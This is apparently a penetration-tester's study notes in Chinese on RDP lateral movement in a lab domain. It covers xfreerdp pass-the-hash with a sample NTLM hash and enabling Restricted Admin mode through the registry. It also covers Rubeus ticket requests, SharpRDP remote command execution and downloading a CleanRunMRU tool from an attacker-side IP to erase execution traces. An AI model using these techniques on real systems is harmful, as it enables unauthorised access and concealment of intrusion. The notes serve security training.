RDP
1. 使用
1.1. On windows
mstsc.exe
1.2. On Linux
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux /clipboard
- /dynamic-resolution: 启用动态分辨率+可以动态调整窗口大小
- /drive:.,linux :本地当前文件夹挂在到windows
- /clipboard:启用本地机器与远程机器之间的剪贴板共享
- /pth: 使用hash传递密码
1.2.1. 低延迟优化
- /bpp:8:将色彩深度降低至 8 位(每像素),从而减少传输的数据量。
- /compression:启用压缩功能,以减少通过网络发送的数据。
- -themes:禁用桌面主题,以减少图形数据。
- -wallpaper:禁用桌面壁纸,进一步减少图形数据。
- /audio-mode:0:禁用音频重定向,以节省带宽。
- /auto-reconnect:如果连接中断,自动重新连接,提高会话稳定性。
- -glyph-cache:启用字形(文本字符)缓存,减少文本渲染时发送的数据量。
1.3. 受限管理员模式
启用后,RDP执行网络登录而非交互式登录,防止在远程系统上缓存凭据(仅适用于管理员)
#检测
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
#启用
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
#禁用
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 1 /t REG_DWORD
DisableRestrictedAdmin的值表示Restricted Admin Mode的状态- 0 开启;1禁用;不存在 禁用
1.4. PTT over RDP
1.4.1. On Linux
linux使用 xfreerdp的 /pth参数即可
xfreerdp /u:helen /pth:62EBA30320E250ECA185AA1327E78AEB /d:inlanefreight.local /v:172.20.0.52
1.4.2. On windows
windows上需要使用Rubeus创建一个牺牲进程,然后用mstsc /restrictedAdmin进行RDP
#创建牺牲进程(确保干净的环境)
.\Rubeus.exe createnetonly /program:powershell.exe /show
#获取tgt
.\Rubeus.exe asktgt /user:administrator /rc4:e45a314c664d40a227f9540121d1a29d /domain:maze.sec /dc:192.168.8.8 /ptt
#受限模式进行rdp
mstsc.exe /restrictedAdmin
本地测试,没有成功
1.5. SharpRDP
https://github.com/0xthirteen/SharpRDP
SharpRDP 是一个.NET 工具,允许通过 RDP 进行非图形化、经过身份验证的远程命令执行,利用了 RDP 客户端使用的 mstscax.dll 库
.\SharpRDP.exe computername=srv01 command="whoami" username=inlanefreight\helen password=RedRiot88
SharpRDP的命令执行限制在 259 个字符以内。
SharpRDP 使用 Microsoft 终端服务执行命令,会在 RunMRU 注册表键( HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 或 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU )中留下命令执行的痕迹。(也就是win+R的历史记录)
使用 CleanRunMRU进行清理
#下载编译
wget -Uri http://10.10.14.207/CleanRunMRU/CleanRunMRU/Program.cs -OutFile CleanRunMRU.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\CleanRunMRU.cs
#清理命令
.\CleanRunMRU.exe clearall